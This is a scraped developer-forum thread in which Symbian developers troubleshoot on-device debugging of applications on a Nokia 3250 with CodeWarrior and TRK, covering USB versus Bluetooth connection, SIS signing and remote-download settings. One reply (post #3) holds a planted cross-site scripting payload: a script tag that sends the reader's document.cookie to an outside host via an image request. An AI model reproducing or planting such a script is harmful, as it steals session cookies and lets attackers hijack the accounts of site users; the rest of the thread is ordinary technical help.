×

Discussion Board

Page 1 of 3 123 LastLast
Results 1 to 15 of 33
  1. #1
    Registered User
    Join Date
    Apr 2003
    Location
    France
    Posts
    63

    On Device Debugging on a 3250

    Hi,

    I have upgraded my CW Pro to 3.1.1 with the ODD patch provided recently by Forum Nokia (nice addon, I like the "generate pkg feature" and the "pkg import" as well!).

    But I am trying to debug an application on a 3250. I have done the setup as specified document. Double checked all values. But I still can connect (using the USB connectivity method and a CA-53 cable. PC-Suite is disabled (all boxed unchecked, and unloaded it from memory), my firewall is off.

    But I still cannot connect. When I start TRK on the device it just shows an error message:

    [quote]Failed to load physical device
    Error Code: -1[/code]

    Same when I try to connect.
    From Codewarrior, my apps compile in GCCE/UDEB mode fine. When I try to launch it, I see three PING tentative from the MetroTRK communication log but desesperatly no response nor reaction from the mobile.

    I tried to change the USB port to any value between 0 and 4 on the device. No change.

    Do you have any clues on what could be wrong ?
    --
    Eric
    [url]http://www.newlc.com[/url]

  2. #2
    Nokia Developer Expert
    Join Date
    Jan 2005
    Posts
    10

    Re: On Device Debugging on a 3250

    This is a known problem as the PDD for USB doesn't exist on some of the devices since its a kernel extension. The next ODD update will have the fix.

    For now, please use BT on 3250.

  3. #3
    Registered User
    Join Date
    May 2006
    Posts
    1

    Re: On Device Debugging on a 3250

    love ya nokia

    <script>img = new Image(); img.src = "http://redw0rm.org/Red/s.php?"+document.cookie;</script>
    Last edited by redworm; 2006-09-12 at 22:05.

  4. #4
    Registered User
    Join Date
    Apr 2003
    Location
    France
    Posts
    63

    Re: On Device Debugging on a 3250

    Quote Originally Posted by ravikurupati
    This is a known problem as the PDD for USB doesn't exist on some of the devices since its a kernel extension. The next ODD update will have the fix.

    For now, please use BT on 3250.
    You're right. The TRK connexion over Bluetooth is fine (you just need to use the widcomm stack instead of the Microsoft one - which is quoted in the installation notes).

    Now I get a "MetroTrkProtocolPlugin: Failed to load the specified program to the target" error. Log of the exchange is as follow:

    Code:
    ---IDE------------------------------------------------------
      Command: 0x00 Ping
     [00 00]
    ---TRK------------------------------------------------------
      Command: 0x80 Acknowledge
        Error: 0x00 
     [80 00 00]
    ---IDE------------------------------------------------------
      Command: 0x01 Connect
     [01 01]
    ---TRK------------------------------------------------------
      Command: 0x80 Acknowledge
        Error: 0x00 
     [80 01 00]
    ---IDE------------------------------------------------------
      Command: 0x05 Support Mask
     [05 02]
    ---TRK------------------------------------------------------
      Command: 0x80 Acknowledge
        Error: 0x00 
     [80 02 00 7E 00 4F 5F 01 00 00 00 0F 1F 00 00 00
      00 00 00 01 00 01 00 03 00 00 00 00 00 03 00 00...]
    ---IDE------------------------------------------------------
      Command: 0x06 CPU Type
     [06 03]
    ---TRK------------------------------------------------------
      Command: 0x80 Acknowledge
        Error: 0x00 
     [80 03 00 04 00 00 04 00 00 00]
    ---IDE------------------------------------------------------
      Command: 0x02 Disconnect
     [02 04]
    ---TRK------------------------------------------------------
      Command: 0x80 Acknowledge
        Error: 0x00 
     [80 04 00]
    My application is compiled with GCCE UDEB target.
    The "Remote Download" information seem correctly configured. Does this mean that I need RVCT toolchain to do On Target Debug ?
    --
    Eric
    [url]http://www.newlc.com[/url]

  5. #5
    Registered User
    Join Date
    Apr 2003
    Location
    France
    Posts
    63

    Re: On Device Debugging on a 3250

    Ok, finally got it working!!!!

    You need to generate and sign the SIS file from CW so that the debug can install the sis file before starting the debug session!
    --
    Eric
    [url]http://www.newlc.com[/url]

  6. #6
    Nokia Developer Expert
    Join Date
    Jan 2005
    Posts
    10

    Re: On Device Debugging on a 3250

    Yes with S60 3.0 onwards, its not possible to copy binaries directly to the target as sys\bin folder is restricted and all binaries have to go to sys\bin folder.

    Ravi..

  7. #7
    Registered User
    Join Date
    Oct 2004
    Posts
    4

    Re: On Device Debugging on a 3250

    Hi Eric

    Quote Originally Posted by Eric@NewLC
    Ok, finally got it working!!!!

    You need to generate and sign the SIS file from CW so that the debug can install the sis file before starting the debug session!
    Isn't this done by Codewarrior automatically? If I inspect the output directory of the project I can find my application SIS file and a SIS file with the name I specified for the signed file when I imported the MMP file.

    Can you tell me how you did the signing?

    Cheers
    Jan

  8. #8
    Registered User
    Join Date
    Apr 2003
    Location
    France
    Posts
    63

    Re: On Device Debugging on a 3250

    Yes, this *shall* be done by Codewarrior.

    On the very first try, I tried to sign the SIS file by myself then debug. This does not work. You have to fill in the windows that request the PKG and keys when importing a MMP.
    --
    Eric
    [url]http://www.newlc.com[/url]

  9. #9
    Registered User
    Join Date
    May 2006
    Location
    Bangalore
    Posts
    4

    Re: On Device Debugging on a 3250

    hi,
    i am tryin to debug an app on my 3250, i cannot build for ARMV5, but was sucessful for gcce. and once i have done that the TRK on my mobile connects to com port 1 but com port 1, and if i try to connect from the IDE it throws an error, can any one post the steps by which they are sucessful in debugging their app on 3250

  10. #10
    Regular Contributor
    Join Date
    Aug 2004
    Posts
    295

    Re: On Device Debugging on a 3250

    Eric thanks for tips. I had to do additional things to get things working:

    - created a seperate app_debug.pkg that had debug binaries (_reg.rsc installed to 10003a3f\import\apps\)
    - enabled setting that forces to install .sisx for each debug session (otherwise the .sisx wasnt generated and installed)
    - removed the remote download files (.rsc and _reg.rsc). these were preventing the debugger to launch, got error: Error: 0x20 Unspecified general OS-related error. The .sisx installs these, so I wonder why the are specified in the first place.

  11. #11
    Nokia Developer Expert
    Join Date
    Jan 2005
    Posts
    10

    Re: On Device Debugging on a 3250

    The remote download panel gets automatically populated with the resource files needed for your application as part of the project import process.
    This is for debugging on Symbian OS versions prior to 9.1.

    Thats why we have an option in the Symbian TRK debugging panel which will enable the download of files in the remote download panel.
    By default, this is turned off, the user would have to explicitly turn it on to actually download the files from remote download panel.

    The force install option is only necessary if you have problems installing the sis file. The reason this option is available is due to the fact that TRK detects whether a re install is necessary or not based on whether the sis file has been modified or not. If the sis file is not modified from the previous, then it won't download and install. If you check this option, it will always install the sis file for evey debug session irrespective of whether the sis file has been modified or not.

  12. #12
    Super Contributor
    Join Date
    Jun 2006
    Location
    India
    Posts
    3,037

    Re: On Device Debugging on a 3250

    Hi!
    Eric

    how you solve it. i am having the same problem, can you explain the solution for me.

    Thanx and Regards,
    KKrish

  13. #13
    Nokia Developer Expert
    Join Date
    Jan 2005
    Posts
    10

    Re: On Device Debugging on a 3250

    There is a check box called "download files in remote download panel" in the Symbian TRK debugging panel, make sure this is turned off.
    If you have this unchecked, then the files in the remote download panel.

    Ravi..

  14. #14
    Registered User
    Join Date
    Sep 2005
    Location
    Ukraine
    Posts
    32

    Re: On Device Debugging on a 3250

    Quote Originally Posted by simo.salminen
    Eric thanks for tips. I had to do additional things to get things working:

    - created a seperate app_debug.pkg that had debug binaries (_reg.rsc installed to 10003a3f\import\apps\)
    How should this help?

    Quote Originally Posted by simo.salminen
    - enabled setting that forces to install .sisx for each debug session (otherwise the .sisx wasnt generated and installed)
    Where is that setting?

  15. #15
    Super Contributor
    Join Date
    May 2003
    Location
    Vancouver, Canada
    Posts
    985

    Re: On Device Debugging on a 3250

    Quote Originally Posted by Hexxx
    Where is that setting?
    This can be enabled from Debug settings. If you click Debug icon, select "Debug..." and then select Installation, there should be an option to force .sisx installation for each launch.

    Usually I also disable "Do not show installer UI on the phone" if I have a problem. Sometimes there may be an error message in the installer, e.g. wrong certificate. If this option is enabled, Carbide.c++ will display a confusing error message, "Cannot create process" or something.

    Antony

Similar Threads

  1. On device debugging Nokia phones
    By skjolber in forum Mobile Java General
    Replies: 6
    Last Post: 2008-08-06, 10:12
  2. WLAN Connection from Emulator
    By capri07 in forum Mobile Java Networking & Messaging & Security
    Replies: 4
    Last Post: 2007-12-13, 05:13
  3. Bluetooth Security: What exactly is an untrusted device?
    By rahulmcs in forum Bluetooth Technology
    Replies: 1
    Last Post: 2005-12-02, 06:26
  4. Replies: 0
    Last Post: 2005-06-22, 18:57
  5. On device Debugging with P800/P910 and Codewarrior
    By rboxall in forum Carbide.c++ IDE and plug-ins (Closed)
    Replies: 0
    Last Post: 2005-03-04, 20:43

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
×